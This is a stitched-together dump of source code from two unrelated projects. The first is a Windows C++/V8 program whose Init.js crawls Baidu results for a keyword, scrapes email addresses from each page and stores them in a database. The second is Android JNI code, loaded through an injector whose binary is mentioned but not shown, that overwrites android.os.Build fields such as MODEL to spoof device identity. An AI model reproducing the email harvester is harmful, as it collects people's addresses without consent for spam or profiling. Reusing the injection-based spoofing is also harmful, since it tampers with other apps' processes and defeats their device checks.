	int utf8size = ::WideCharToMultiByte(CP_UTF8, 0, widestring.c_str(), -1, NULL, 0, NULL, NULL);
	if (utf8size == 0)
	{
		throw std::exception("Error in conversion.");
	}
 
	std::vector<char> resultstring(utf8size);
 
	int convresult = ::WideCharToMultiByte(CP_UTF8, 0, widestring.c_str(), -1, &resultstring[0], utf8size, NULL, NULL);
 
	if (convresult != utf8size)
	{
		throw std::exception("La falla!");
	}
 
	return std::string(&resultstring[0]);
}


wstring Utils::Utf82Unicode(const std::string& utf8string)
{
	int widesize = ::MultiByteToWideChar(CP_UTF8, 0, utf8string.c_str(), -1, NULL, 0);
    
	if (widesize == 0)
	{
        return std::wstring();
		//throw std::exception("Error in conversion.");
	}
 
	std::vector<wchar_t> resultstring(widesize);
 
	int convresult = ::MultiByteToWideChar(CP_UTF8, 0, utf8string.c_str(), -1, &resultstring[0], widesize);
 
	if (convresult != widesize)
	{
        return std::wstring();
		//throw std::exception("La falla!");
	}
 
	return std::wstring(&resultstring[0]);
}

bool Utils::openDirectory(wstring wstrDir){
	ShellExecute(NULL,L"open",wstrDir.c_str(),NULL,NULL,SW_SHOW);
	return true;
}

void Utils::registWorkDir(){
	int iBufferLen = 1000 * 2;
	wchar_t* pWch = new wchar_t[iBufferLen];
	wmemset(pWch,0,iBufferLen);
	GetCurrentDirectory(iBufferLen,pWch);  //得到当前工作路径  
    Utils::_wstrWorkDir = wstring(pWch);
	if(_wstrWorkDir.length() < 1){
		/*不正确的获得当前目录*/
		return;
	}
	if(_wstrWorkDir.c_str()[_wstrWorkDir.length()-1] != L'\\'){
		_wstrWorkDir.append(L"\\");
	}
	delete pWch;
}
void Utils::resetWorkDir(){
	SetCurrentDirectory(Utils::_wstrWorkDir.c_str());
}
wstring Utils::getWorkDir(){
	return Utils::_wstrWorkDir.c_str();
}


bool Utils::readTextFile(wstring wstrFilePath,string& strText){
	bool bResult = false;
	strText = "";

	fstream myFile; 
	myFile.open(wstrFilePath.c_str(),ios::binary|ios::in);
	myFile.seekg(0, ios::end);
	int len = myFile.tellg();
    wstring wstrTxt = L"";
    if(len>=0){
        myFile.seekg(0, ios::beg);
	    myFile.seekg(0, ios::beg);

	    char * pCh = new char[len+1];
	    pCh[len] = 0;

	    myFile.read(pCh,len);
		strText = string(pCh,len);

	    delete []pCh;
		bResult = true;
    }else{
        /*
            日志：打开文件错误。
        */
		bResult =false;
    }
	return bResult;

}

wstring Utils::i2ws(int i){
    wchar_t wch[20];
    _itow(i,wch,10);
    wstring wstr = L"";
    wstr.append(wch);
	wstr = wstr;
    return wstr;
}

wstring Utils::replaceAll(wstring wstrText,wstring wstrOldValue,wstring wstrNewValue){

	wstring wstr = wstrText;
	for(wstring::size_type pos(0); pos!=wstring::npos; pos+=wstrNewValue.length()){     
        if((pos=wstr.find(wstrOldValue,pos))!=wstring::npos)     
            wstr.replace(pos,wstrOldValue.length(),wstrNewValue);     
        else{
			break;     
		}
    }     
	return wstr;     
}
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WebSearch/WebSearch/V8Ext/V8Ext.cpp

// V8Ext.cpp : 定义控制台应用程序的入口点。


//





#include "stdafx.h"


#include "../V8/v8.h"





#include <stdio.h>


#include <stdlib.h>


#include <iostream>


#include <windows.h> 


#include <sstream>  





#include "cproxyv8/cproxyv8-class.h"


#include "../CURL/curl.h"





#include "V8Utils.h"


#include "NetExplorer.h"








#include "v8Ext.h"


#include "V8ExtBridge.h"


using namespace std;





v8::Handle<v8::Value> SaveEML(const v8::Arguments& args);





void registObjectsAndFunctions(v8::Handle<v8::ObjectTemplate> global);





V8Ext * V8Ext::_pV8Ext = NULL;





V8Ext::V8Ext(){


    wstrAutoDoFileFullName = L"./Scripts/Init.js";


}


V8Ext * V8Ext::getInstance(){


    if(V8Ext::_pV8Ext == NULL){


        V8Ext::_pV8Ext = new V8Ext();


    }


    return V8Ext::_pV8Ext;


}





bool V8Ext::ExecuteString(v8::Handle<v8::String> source,


                   v8::Handle<v8::Value> name) {


    v8::HandleScope handle_scope;


    v8::TryCatch try_catch;


    v8::Handle<v8::Script> script = v8::Script::Compile(source, name);


    if (script.IsEmpty()) {


        return false;


    }else{


        v8::Handle<v8::Value> result = script->Run();


        if (result.IsEmpty()) {


            return false;


        }else{


            if (!result->IsUndefined()) {


                v8::String::Utf8Value v8StrUTF8_Result(result);


                string strUTF8Result = (*v8StrUTF8_Result);


                strUTF8Result.append("\n");


            }


            return true;


        }


    }


}


void V8Ext::RunShell(v8::Handle<v8::Context> context) {


    static const int kBufferSize = 256;


    while (true) {


    char buffer[kBufferSize];


    char* str = fgets(buffer, kBufferSize, stdin);


    if (str == NULL){


        break;


    }


    string strGBK = string(str);





    string strUTF8 = "";


    /*


        在控制台输入从默认GBK编码转换成UTF-8


    */


    if(V8Utils::encoding(strUTF8,strGBK,"gbk","utf-8") == false){


        


        return;


    }


    v8::HandleScope handle_scope;


    ExecuteString(v8::String::New(strUTF8.c_str()),


                  v8::String::New(""));


    }


}





void V8Ext::registObjectsAndFunctions(v8::Handle<v8::ObjectTemplate> global){








    global->Set(v8::String::New("print"), v8::FunctionTemplate::New(PrintInfo));


    global->Set(v8::String::New("read"), v8::FunctionTemplate::New(Read));


    global->Set(v8::String::New("saveEMail"), v8::FunctionTemplate::New(SaveEMail));


    global->Set(v8::String::New("createQueryJob"), v8::FunctionTemplate::New(CreateQueryJob));


    global->Set(v8::String::New("NetExplorer"), CPROXYV8_CLASS(NetExplorer)->GetFunctionTemplate());


    CPROXYV8_METHOD_ID(NetExplorer,send, send);


    CPROXYV8_METHOD_ID(NetExplorer,setURL, setURL);


    CPROXYV8_METHOD_ID(NetExplorer,getResponseHead, getResponseHead);


    CPROXYV8_METHOD_ID(NetExplorer,getResponseBody, getResponseBody);


    CPROXYV8_METHOD_ID(NetExplorer,getError, getError);


    CPROXYV8_METHOD_ID(NetExplorer,clearHttpHeader, clearHttpHeader);


    CPROXYV8_METHOD_ID(NetExplorer,getResponseBodyEncoding, getResponseBodyEncoding);


    CPROXYV8_METHOD_ID(NetExplorer,setResponseBodyEncoding, setResponseBodyEncoding);


    CPROXYV8_METHOD_ID(NetExplorer,resetNetExplorer, resetNetExplorer);


    CPROXYV8_METHOD_ID(NetExplorer,getStateCode, getStateCode);


    CPROXYV8_METHOD_ID(NetExplorer,getLastURL, getLastURL);


}


int V8Ext::startV8Ext() 


{


    v8::HandleScope handle_scope;


    v8::Handle<v8::ObjectTemplate> global = v8::ObjectTemplate::New();


    registObjectsAndFunctions(global);


    v8::Handle<v8::Context> context = v8::Context::New(NULL, global);


    v8::Context::Scope context_scope(context);


    string strUTF8FileTxt = V8Utils::readFile(wstrAutoDoFileFullName);


    ExecuteString(v8::String::New(strUTF8FileTxt.c_str()),


                v8::String::New(""));


    return 0;


}







WebSearch/WebSearch/V8Ext/V8ExtBridge.cpp

#include "stdafx.h"
#include "V8ExtBridge.h"
#include <iostream>
#include "V8Utils.h"
#include "../DBManager.h"
#include "../Utils.h"
using namespace std;

v8::Handle<v8::Value> PrintInfo(const v8::Arguments& args) {

	string strUTF8 = "";
	if(args.Length()>0){
		v8::String::Utf8Value v8StrUTF8(args[0]);
		strUTF8 = *v8StrUTF8;
		wstring wstrText = V8Utils::Utf82Unicode(strUTF8);
		wprintf(L"%s\n",wstrText.c_str());
	}
  return v8::Undefined();
}

v8::Handle<v8::Value> Read(const v8::Arguments& args) {
	string strGBK = "";
	getline(cin, strGBK);
    string strUTF8 = "";
    V8Utils::encoding(strUTF8,strGBK,"gbk","utf-8//IGNORE");
	return v8::String::New(strUTF8.c_str());

}

v8::Handle<v8::Value> CreateQueryJob(const v8::Arguments& args){
	if(args.Length()<1){
        return v8::Null();
    }
	string strUTF8KeyWord =
         V8Utils::getUTF8StringFromV8Object(args[0]->ToObject());
	DBManager dbManager;
	int iQueryID = 0;
	bool bResult = dbManager.saveKeyWordJob(Utils::Utf82Unicode(strUTF8KeyWord),iQueryID);
	if(bResult){
		return v8::Int32::New(iQueryID);
	}
	return v8::Null();
}

v8::Handle<v8::Value> SaveEMail(const v8::Arguments& args){
	if(args.Length()<3){
        return v8::Null();
    }
	int iQueryID = args[0]->Int32Value();
	string strUTF8URL =
         V8Utils::getUTF8StringFromV8Object(args[1]->ToObject());
	string strUTF8EMail =
         V8Utils::getUTF8StringFromV8Object(args[2]->ToObject());
	DBManager dbManager;
	bool bResult = dbManager.saveEMail(iQueryID,
		Utils::Utf82Unicode(strUTF8URL),
		Utils::Utf82Unicode(strUTF8EMail));
	if(bResult){
		return v8::Boolean::New(true);
	}
	return v8::Boolean::New(false);
}






WebSearch/WebSearch/V8Ext/V8Utils.cpp


WebSearch/WebSearch/V8Ext/V8Utils.cpp




#include "stdafx.h"


#include "V8Utils.h"


#include <iostream>


#include <fstream>


#include <windows.h> 


#include <io.h>


#include <direct.h>


#include "../Iconv/iconv.h"


using namespace std;


#define ACCESS _access


#define WACCESS _waccess


#define MKDIR(a) _mkdir((a))


#define WMKDIR(a) _wmkdir((a))


wstring V8Utils::Utf82Unicode(const std::string& utf8string)


{


    int widesize = ::MultiByteToWideChar(CP_UTF8, 0, utf8string.c_str(), -1, NULL, 0);


    if (widesize == ERROR_NO_UNICODE_TRANSLATION)


    {


        return std::wstring();


    }


    if (widesize == 0)


    {


        return std::wstring();


    }


    std::vector<wchar_t> resultstring(widesize);


    int convresult = ::MultiByteToWideChar(CP_UTF8, 0, utf8string.c_str(), -1, &resultstring[0], widesize);


    if (convresult != widesize)


    {


        return std::wstring();


    }


    return std::wstring(&resultstring[0]);


}





string V8Utils::WideByte2Acsi(std::wstring& wstrcode)


{


    int asciisize = ::WideCharToMultiByte(CP_OEMCP, 0, wstrcode.c_str(), -1, NULL, 0, NULL, NULL);


    if (asciisize == 0)


    {


        return std::string();


    }


    std::vector<char> resultstring(asciisize);


    int convresult =::WideCharToMultiByte(CP_OEMCP, 0, wstrcode.c_str(), -1, &resultstring[0], asciisize, NULL, NULL);


 


    if (convresult != asciisize)


    {


        return std::string();


    }


    return std::string(&resultstring[0]);


}


string V8Utils::UTF_82ASCII(std::string& strUtf8Code)


{


    std::string strRet("");


    std::wstring wstr = Utf82Unicode(strUtf8Code);


    strRet = WideByte2Acsi(wstr);


    return strRet;


}





string V8Utils::readFile(string strFilePath){


    fstream file1; 


    file1.open(strFilePath.c_str(),ios::binary|ios::in);


    file1.seekg(0, ios::end);


    int len = file1.tellg();


    string strTxt = "";


    if(len>=0){


        file1.seekg(0, ios::beg);


        file1.seekg(0, ios::beg);


        char * pCh = new char[len+1];


        pCh[len] = 0;


        file1.read(pCh,len);


        strTxt = string(pCh,len+1);


        delete []pCh;


    }


    return strTxt;


}





wstring V8Utils::Acsi2WideByte(std::string& strascii)


{


    int widesize = MultiByteToWideChar (CP_ACP, 0, (char*)strascii.c_str(), -1, NULL, 0);


    if (widesize == 0)


    {


         return std::wstring();


    }


    std::vector<wchar_t> resultstring(widesize);


    int convresult = MultiByteToWideChar (CP_ACP, 0, (char*)strascii.c_str(), -1, &resultstring[0], widesize);


    if (convresult != widesize)


    {


         return std::wstring();


    }


    return std::wstring(&resultstring[0]);


}





string V8Utils::Unicode2Utf8(const std::wstring& widestring)


{


    int utf8size = ::WideCharToMultiByte(CP_UTF8, 0, widestring.c_str(), -1, NULL, 0, NULL, NULL);


    if (utf8size == 0)


    {


        return std::string();


    }


    std::vector<char> resultstring(utf8size);


    int convresult = ::WideCharToMultiByte(CP_UTF8, 0, widestring.c_str(), -1, &resultstring[0], utf8size, NULL, NULL);


    if (convresult != utf8size)


    {


        return std::string();


    }


    return std::string(&resultstring[0]);


}





string V8Utils::ASCII2UTF_8(std::string& strAsciiCode)


{


    std::string strRet("");


    std::wstring wstr = Acsi2WideByte(strAsciiCode);


    strRet = Unicode2Utf8(wstr);


    return strRet;


}


string & V8Utils::replaceAll(string& str,const string& old_value,const string& new_value){





    for(string::size_type pos(0); pos!=string::npos; pos+=new_value.length()){


        if((pos=str.find(old_value,pos))!=string::npos){


           str.replace(pos,old_value.length(),new_value);


        }


        else{


            break;


        }


    }   


    return str;


}  





wstring & V8Utils::replaceAll(wstring& wstr,const wstring& old_value,const wstring& new_value){





    for(wstring::size_type pos(0); pos!=wstring::npos; pos+=new_value.length()){


        if((pos=wstr.find(old_value,pos))!=wstring::npos){


           wstr.replace(pos,old_value.length(),new_value);


        }


        else{


            break;


        }


    }   


    return wstr;


}  


bool V8Utils::encodingToWstrUTF16(wstring &wstrResult, 


                                   string strSourceData,


                                   string strSourceCodeName){


    


    return V8Utils::encodingToWstrUTF16(wstrResult,strSourceData.c_str(),strSourceData.length(),strSourceCodeName);


}


bool V8Utils::decodingFromWstrUTF16(string &strResult,


                                  wstring wstrSourceData,


                                  string strTargetCodeName){





    return V8Utils::decodingFromWstrUTF16(strResult,wstrSourceData.c_str(),


           wstrSourceData.length(),strTargetCodeName);


}


bool V8Utils::decodingFromWstrUTF16(string &strResult,


                                  const wchar_t * pwcSourceData,


                                  int iSourceDataLen,


                                  string strTargetCodeName){


    strResult.clear();


    iconv_t conveter = iconv_open(strTargetCodeName.c_str(),"utf-16//IGNORE");


    if(conveter== iconv_t(-1)){  


        return false;    


    }


    if(iSourceDataLen <= 0){


        return true;


    }


    size_t insize;


    wchar_t *input = new wchar_t[iSourceDataLen + 1];


    memcpy(&input[1],pwcSourceData,sizeof(wchar_t) * iSourceDataLen);


    wchar_t *input_old = input; 


    input[0] = 0xFFFE;


    char *pCh = (char *)input_old;


    for(int i=1;i<=iSourceDataLen;i++){





        char c = pCh[i * 2];


        pCh[i * 2] = pCh[i * 2+1];


        pCh[i * 2+1] = c;





    }


    insize= 2 + iSourceDataLen * sizeof(wchar_t);


    size_t outsize = insize * 3 + 1 + 2;


    size_t maxBufferSize = outsize;


    char *output = new char[outsize];


    char *output_old = output;


    memset(output,0,outsize);         


    size_t rc = iconv(conveter,(const char **)&input,&insize,&output,&outsize);


    if(rc==-1){


        delete [] input_old;


        delete [] output_old; 


        return false;


    }


    strResult.append(output_old,maxBufferSize - outsize);


return true;





}


bool V8Utils::encodingToWstrUTF16(wstring &wstrResult,


                                   const char * pcSourceData,


                                   int iSourceDataLen,


                                   string strSourceCodeName){


    wstrResult.clear(); 


    iconv_t conveter = iconv_open("utf-16//IGNORE",strSourceCodeName.c_str());


    if(conveter== iconv_t(-1)){  


        return false;    


    }





    if(iSourceDataLen <= 0){


        return true;


    }


    size_t insize;


    char *input = new char[iSourceDataLen];


    memcpy(input,pcSourceData,iSourceDataLen);


    char *input_old = input;


    insize=iSourceDataLen;


    size_t outsize = insize * 3 + 1 + 2;


    size_t maxBufferSize = outsize;


    char *output = new char[outsize];


    char *output_old = output;


    memset(output,0,outsize);         


    size_t rc = iconv(conveter,(const char **)&input,&insize,&output,&outsize);


    if(rc==-1){


        delete [] input_old;


        delete [] output_old; 


        return false;


    }


    outsize = 0;


    for(int i=0;i<maxBufferSize;i+=2){


        


        if(output_old[i+3] == 0 && output_old[i+2] == 0){


            break;


        }


        output_old[i] = output_old[i+3];


        output_old[i+1] = output_old[i+2];


        outsize ++;


    }


    


    iconv_close(conveter);


    wstrResult.append((wchar_t *)output_old,outsize);


    delete[] output_old; 


    return true;


}


bool V8Utils::encoding(string &strResult,string strSourceData,


                       string strSourceCodeName,


                       string strTargetCodeName){





    return V8Utils::encoding(strResult,strSourceData.c_str(),


                             strSourceData.length(),


                             strSourceCodeName,strTargetCodeName);


}


bool V8Utils::encoding(string &strResult,const char * pcSourceData,


                       int iSourceDataLen,string strSourceCodeName,


                       string strTargetCodeName){


   


    strResult.clear(); 





    iconv_t conveter = iconv_open(strTargetCodeName.c_str(),strSourceCodeName.c_str());


    if(conveter== iconv_t(-1)){  


        return false;    


    }





    if(iSourceDataLen <= 0){


        return true;


    }


    //待转换的字符串


    size_t insize;


    char *input = new char[iSourceDataLen];


    memcpy(input,pcSourceData,iSourceDataLen);


    char *input_old = input;





    insize=iSourceDataLen;


    size_t outsize = insize * 3 + 1 + 2;


    size_t maxBufferSize = outsize;


    char *output = new char[outsize];


    char *output_old = output;


    memset(output,0,outsize);         


    size_t rc = iconv(conveter,(const char **)&input,&insize,&output,&outsize);


    if(rc==-1){


        delete [] input_old;


        delete [] output_old; 


        return false;


    }


    iconv_close(conveter);


    strResult.append(output_old,outsize);


    delete [] input_old;


    delete[] output_old; 


    return true;


}


string V8Utils::readFile(wstring wstrFilePath){


    fstream file1; 


    file1.open(wstrFilePath.c_str(),ios::binary|ios::in);


    file1.seekg(0, ios::end);


    int len = file1.tellg();


    string strResultData = "";


    if(len>=0){


        file1.seekg(0, ios::beg);


        file1.seekg(0, ios::beg);


        char * pCh = new char[len];


        file1.read(pCh,len);


        strResultData = string(pCh,len);


        delete []pCh;


    }


    return strResultData;


}


string V8Utils::getUTF8StringFromV8Object(v8::Handle<v8::Object> v8Obj,string strAttributeName){





    v8::Handle<v8::String> v8String = v8Obj->Get(v8::String::New(strAttributeName.c_str()))->ToString();


    v8::String::Utf8Value v8StrUTF8(v8String);


    string strUTF8 = *v8StrUTF8;


    return strUTF8;


}


string V8Utils::getUTF8StringFromV8Object(v8::Handle<v8::Object> v8Obj){





    v8::String::Utf8Value v8StrUTF8(v8Obj);


    string strUTF8 = *v8StrUTF8;


    return strUTF8;


}







WebSearch/WebSearch/WebSearch.cpp


WebSearch/WebSearch/WebSearch.cpp

// WebSearch.cpp : 定义控制台应用程序的入口点。


//





#include "stdafx.h"


#include "string"


#include "V8Ext/V8Ext.h"


#include "DBManager.h"


#include <Locale.h>


using namespace std;








void runInV8Engine(int argc, _TCHAR* argv[]){


    V8Ext *pV8Ext = V8Ext::getInstance();


    pV8Ext->startV8Ext();


}








int _tmain(int argc, _TCHAR* argv[])


{


    setlocale(LC_ALL, "chs");


    runInV8Engine(argc,argv);


    return 0;


}










WebSearch/WebSearch.sln


Microsoft Visual Studio Solution File, Format Version 11.00
# Visual Studio 2010
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "WebSearch", "WebSearch\WebSearch.vcxproj", "{82654CC9-B9A4-4275-B035-CEF323285CBA}"
EndProject
Global
	GlobalSection(SolutionConfigurationPlatforms) = preSolution
		Debug|Win32 = Debug|Win32
		Release|Win32 = Release|Win32
	EndGlobalSection
	GlobalSection(ProjectConfigurationPlatforms) = postSolution
		{82654CC9-B9A4-4275-B035-CEF323285CBA}.Debug|Win32.ActiveCfg = Debug|Win32
		{82654CC9-B9A4-4275-B035-CEF323285CBA}.Debug|Win32.Build.0 = Debug|Win32
		{82654CC9-B9A4-4275-B035-CEF323285CBA}.Release|Win32.ActiveCfg = Release|Win32
		{82654CC9-B9A4-4275-B035-CEF323285CBA}.Release|Win32.Build.0 = Release|Win32
	EndGlobalSection
	GlobalSection(SolutionProperties) = preSolution
		HideSolutionNode = FALSE
	EndGlobalSection
EndGlobal







WebSearch/WebSearch/Scripts/Init.js

var UrlMap = function(){
    var _me = this;
    this.urlMap = [];
    var URLObjectProto = {
    	url:"",
    	domain:""
    }
    this.getDomainFromURL = function(url){
    	var mats = url.match(/^[a-z0-9]+:\/\/[^\/]+/i);
    	if(!mats){
    		return null;
    	}
    	mat = mats[0];
    	mat = mat.match(/:\/\/[^\/]+/i);
    	mat = mat[0]
    	mat = mat.substring(3,mat.length);
    	return mat;
    }
	this.createURLObject = function(){
		var urlObject = Object.create(URLObjectProto);
		return urlObject;
	}
    this.pushURL = function(url){
    	var domain = _me.getDomainFromURL(url);
    	if(!domain){
    		print("域不正确！！！");
    		print(url);
    		return false;
    	}
    	var urlMap = _me.urlMap;
    	var urlMapLen = urlMap.length;
    	for(var i=0;i<urlMapLen;i++){
    		var urlObj = urlMap[i];
    		if(urlObj.url == url){
    			return false;
    		}
    	}
        var urlObject = _me.createURLObject();
    	urlObject.url = url;
    	urlObject.domain = domain;
    	print(url);
    	_me.urlMap.push(urlObject);
    	return true;
    }
    this.getURLObjectLength = function(){
    	return _me.urlMap.length;
    }
}
var isUTF8 = function(charset){
	var mats = charset.match(/utf[-]{0,1}8/img);
	return !!mats;
}
var getUTF8ResponseBody = function(ne){
	var htmlText = "";
	var defaultCharset = "UTF-8";
	var lineSplit = "";
	var htmlHeader = ne.getResponseHead();
	htmlHeader = htmlHeader.replace(/\r/img,'');
	var arrs = htmlHeader.split('\n');
	var lastHeader = "";
	if(arrs.length > 0){
		lastHeader = arrs[arrs.length - 2];
	}else{
		lastHeader = arrs[arrs.length - 1];
	}
	var mats = lastHeader.match(/^Content-Type[^\n]*?charset=[^\n]*$/img);
	if(!!mats){
		var mat = mats[0];
		mat = mat.match(/charset=[^\n]*$/img);
		mat = mat[0];
		mat = mat.substring(8).trim();
		defaultCharset = mat;
	}else{
		/*加载HTML页面，从meta标签中获得相关信息*/
		htmlText = ne.getResponseBody();
		var metaCharset = htmlText.match(/<meta[^>]*?"Content-Type"[^>]*?content="[^"]*?charset[\s]*=[\s]*.*?"/img);
		if(!!metaCharset){
			/*HTML中包含 meta标签。并且存在content-type属性*/
			metaCharset = metaCharset[0];
			metaCharset = metaCharset.match(/charset(\s)*=.*?"/img)[0];
			defaultCharset = metaCharset.substring(metaCharset.indexOf("=")+1,metaCharset.length-1).trim();
		}
		htmlText = "";
	}

	if(isUTF8(defaultCharset)){
		htmlText = ne.getResponseBody();
	}else{
		htmlText = ne.getResponseBodyEncoding(defaultCharset);
	}
	return htmlText;
}
var Baidu = new function(){

	var _me = this;
	var MaxPageID = 76;
	this.findPageID = 0;
	this.currPageID = -1;
	this.keyWord = "";
    this.ne = new NetExplorer();
    this.urlMap = new UrlMap();
    this.setKeyWord = function(kw){
    	_me.keyWord = kw;
    }
	this.createBaiduURL = function(keyWord,iPageID){
		var encodeKeyWord = encodeURIComponent(keyWord)
	    var url = "http://www.baidu.com/s?ie=utf-8&oq="+encodeKeyWord+"&usm=2&f=8&wd="+encodeKeyWord+"&tn=89040009_1_pg&pn="+iPageID*10;
	    return url;
	}
	this.hasNextPage = function(){
		var findPageID = _me.findPageID;
		var currPageID = _me.currPageID;
		if(currPageID <0){
			return true;
		}
		if(currPageID +1>= findPageID || currPageID+1>=MaxPageID ){
			return false;
		}
		return true;
	}
	this.decodeMaxPageNum = function(html){
		var me = _me;
		var matsPageNum = html.match(/<p.*?(?=(id="page")).*?>.*?<\/p>/ig);
		if(!matsPageNum){
			return;
		}
		matsPageNum = matsPageNum[0];
		matsPageNum = matsPageNum.match(/<span[^>]*?class="pc"[^>]*?>\d+<\/span>/img);
		matsPageNum.forEach(function(pageNumItem){
			var span = pageNumItem;
			var num = parseInt(span.match(/\d+/)[0]);
			if(num > me.findPageID){
				me.findPageID = num;
			}
		})
	}
	this.decodeHref = function(html){
		var matTags =html.match(/<h3[^>]+class="t"[^>]*>(.|\r|\n)*?<a[^>]*href\s*=\s*"[^"]*"[^>]*>/img);
		if(!matTags){
			return false;
		}
		var iHrefCounter = 0;
		matTags.forEach(function(tag){
			var aTag = tag.match(/<a[^>]*href\s*=\s*"[^"]+"[^>]*>/img);
			aTag = aTag[0];
			aTag = aTag.match(/href\s*=\s*"[^"]+"/img);
			aTag = aTag[0];
			var href = aTag.substring(aTag.indexOf("\"")+1,aTag.length-1);
			_me.urlMap.pushURL(href);
			iHrefCounter++;
		})
		if(iHrefCounter > 0){
			return true;
		}
		return false;
	}	
	this.loadNextPage = function(){
		if(_me.hasNextPage()==false){
			return false;
		}
		_me.currPageID =  _me.currPageID+1;
		print("当前："+_me.currPageID+",可获取："+_me.findPageID+",最多："+MaxPageID);
		var ne = _me.ne;
		var url = _me.createBaiduURL(_me.keyWord,_me.currPageID);
		ne.setURL(url);
		var bResult = ne.send();
		if(bResult == false){
			return false;
		}
		var stateCode = ne.getStateCode();
		if(stateCode != 200){
			return false;
		}
		var htmlText = ne.getResponseBody();
		_me.decodeMaxPageNum(htmlText);
		_me.decodeHref(htmlText);
		return true;
	}
}
var getEmails = function(htmlText){
	var eMails = [];
	var mats = htmlText.match(/[a-z0-9]{1,40}@([a-z0-9]{1,40})(\.([a-z0-9]{1,40})){1,10}/img);
	if(!!mats){
		mats.forEach(function(eMailItem){
			eMails.push(eMailItem)
		})
	}
	/*排除重复项*/
	var distEMails = [];
    eMails.sort();
    for(i = 0; i < eMails.length; i++) {
      if(eMails[i] == eMails[i+1]) {
        continue;
    }
    	distEMails.push(eMails[i]);
    }
	return distEMails;
}
var getEmailFromURL = function(ne,url,queryID,keyWord){
	ne.resetNetExplorer();
	ne.setURL(url);
	var sendResult = ne.send();
	if(!sendResult){
		print("获取网页:"+url+"失败");
		return null;
	}
	var htmlText = getUTF8ResponseBody(ne);
	if(htmlText.indexOf(keyWord)<0){
		print("未匹配到关键词。");
		return;
	}
	var eMails = getEmails(htmlText);
	print("发现邮箱地址"+eMails.length+"个.");
	eMails.forEach(function(emailItem){
		if(emailItem.toLowerCase() == keyWord.toLowerCase()){
			print(emailItem+"邮箱与关键字相同，排除。");
		}
		var saveEMailResult = saveEMail(queryID,ne.getLastURL(),emailItem);
	})
}
var start = function(){
	print("请输入搜索关键字：");
	var keyWord = read();
	print("关键字："+keyWord);
	var queryID = createQueryJob(keyWord);
	if(!queryID){
		print("连接数据库错误.");
		return;
	}
	print("正在通过百度查找关键字...");
	Baidu.setKeyWord(keyWord);
	while(Baidu.hasNextPage()){
		print("获取第"+(Baidu.currPageID+2)+"页");
		Baidu.loadNextPage();
	}
	print("完成从百度上获取关键字“"+keyWord+"”,共:"+Baidu.urlMap.getURLObjectLength()+"个网页需要访问。")
	var ne = new NetExplorer();
	var total = Baidu["urlMap"].urlMap.length;
	var curr = 1;
	Baidu["urlMap"].urlMap.forEach(function(urlMailItem){
		print("("+curr+"/"+total+")正在访问URL:"+urlMailItem.url);
		getEmailFromURL(ne,urlMailItem.url,queryID,keyWord);
		curr++;
	})
}
start();
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源代码/modifier/jni/properties

_Z12modify_modelPc

Build.BRAND
Build.MANUFACTURER
Build.MODEL
Build.VERSION.RELEASE








源代码/modifier/jni/modifier.cpp


源代码/modifier/jni/modifier.cpp

// modifier.cpp


/*


    by Glroevo


*/





#include <string.h>


#include <jni.h>


#include <assert.h>


#include <malloc.h>





struct DvmJniGlobals {


    bool useCheckJni;


    bool warnOnly;


    bool forceCopy;


    bool workAroundAppJniBugs;


    bool logThirdPartyJni;


    JavaVM*     jniVm;


};





extern struct DvmJniGlobals gDvmJni;


JNIEnv* env = NULL;





/* 参数格式：


* -没有内部类：属性名@属性


*  如手机型号：MODEL@Nexus 4


* -属性在内部类：内部类名$属性名@属性


*  如安卓版本号：VERSION$RELEASE@10.10


*/


int modify( char* parameter )


{


    // 获取 JNI 环境


    if ((gDvmJni.jniVm)->GetEnv((void**) &env, JNI_VERSION_1_4) != JNI_OK)


        return -1;





    if (env == NULL)


        return -1;





    char class_name[255] = "android/os/Build";


    char property_name[255] = "UNKNOWN";


    char property_type[255] = "Ljava/lang/String;";


    char property_value[255] = "Unknown";





    // 参数解析


    char* src = parameter;


    char* dest = property_name;


    while( *src != '\0' )


    {


        // 检测内部类


        if( *src == '#' )


        {


            *src++ = '\0';


            dest = property_name;


            strcat( class_name, "$" );


            strcat( class_name, parameter );


        }





        // 分离属性名与属性值


        if( *src == '@' )


        {


            *dest = '\0';


            ++src;


            dest = property_value;


        }





        *dest++ = *src++;


    }


    *dest = '\0';





    // 查找类引用


    jclass cls = (env)->FindClass( class_name );


    if( cls == NULL )


        return -1;





    // 获取域 ID


    jfieldID fid = (env)->GetStaticFieldID(cls, property_name, property_type );


    if( fid == NULL )


        return -1;





    // 设置属性值


    jstring new_value = (env)->NewStringUTF(property_value);


    (env)->SetStaticObjectField( cls, fid, new_value );





    // 释放内存


    env->DeleteLocalRef( new_value );


    env->DeleteLocalRef( cls );





    return 0;


}













源代码/injector/read me.txt


笔者使用的注入代码已经不含有原版权信息，所以此处的 injector 不提供源代码，只附上可执行程序，请读者见谅。

SO 注入的源代码在网上很容易找到。
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源代码/modifier/libs/armeabi-v7a/libmodifier.so





源代码/modifier/jni/modifier.c~

#include <string.h>
#include <jni.h>
#include <assert.h>
#include <malloc.h>

struct DvmJniGlobals {
    bool useCheckJni;
    bool warnOnly;
    bool forceCopy;

    // Provide backwards compatibility for pre-ICS apps on ICS.
    bool workAroundAppJniBugs;

    // Debugging help for third-party developers. Similar to -Xjnitrace.
    bool logThirdPartyJni;

    // We only support a single JavaVM per process.
    JavaVM*     jniVm;
};

extern struct DvmJniGlobals gDvmJni;
JNIEnv* env = NULL;

/* 参数格式：
 * -没有内部类：属性名@属性
 *  如手机型号：MODEL@Nexus 4
 * -属性在内部类：内部类名$属性名@属性
 *  如安卓版本号：VERSION$RELEASE@10.10
 */
bool modify_model( char* parameter )
{


	// 获取 JNI 环境
	if ((gDvmJni.jniVm)->GetEnv((void**) &env, JNI_VERSION_1_4) != JNI_OK)
		return false;

	assert(env != NULL);

	char class_name[255] = "android/os/Build";
	char property_name[255] = "UNKNOWN";
	char property_type[255] = "Ljava/lang/String;";
	char property_value[255] = "Unknown";

	// 参数解析
	char* src = parameter;
	char* dest = property_name;
	while( *src != '\0' )
	{
		// 检测内部类
		if( *src == '$' )
		{
			*src++ = '\0';
			dest = property_name;
			strcat( class_name, "$" );
			strcat( class_name, parameter );
		}

		// 分离属性名与属性值
		if( *src == '@' )
		{
			*dest = '\0';
			++src;
			dest = property_value;
		}

		*dest++ = *src++;
	}
	*dest = '\0';

	// 查找类引用
	jclass cls = (*env)->FindClass( env, class_name );
	if( cls == NULL )
		return false;

	// 获取域 ID
	jfieldID fid = (*env)->GetStaticFieldID( env, cls, property_name, property_type );
	if( fid == NULL )
		return false;

	// 设置属性值
	jstring new_value = (*env)->NewStringUTF( env, property_value );
	(*env)->SetStaticObjectField( env, cls, fid, new_value );

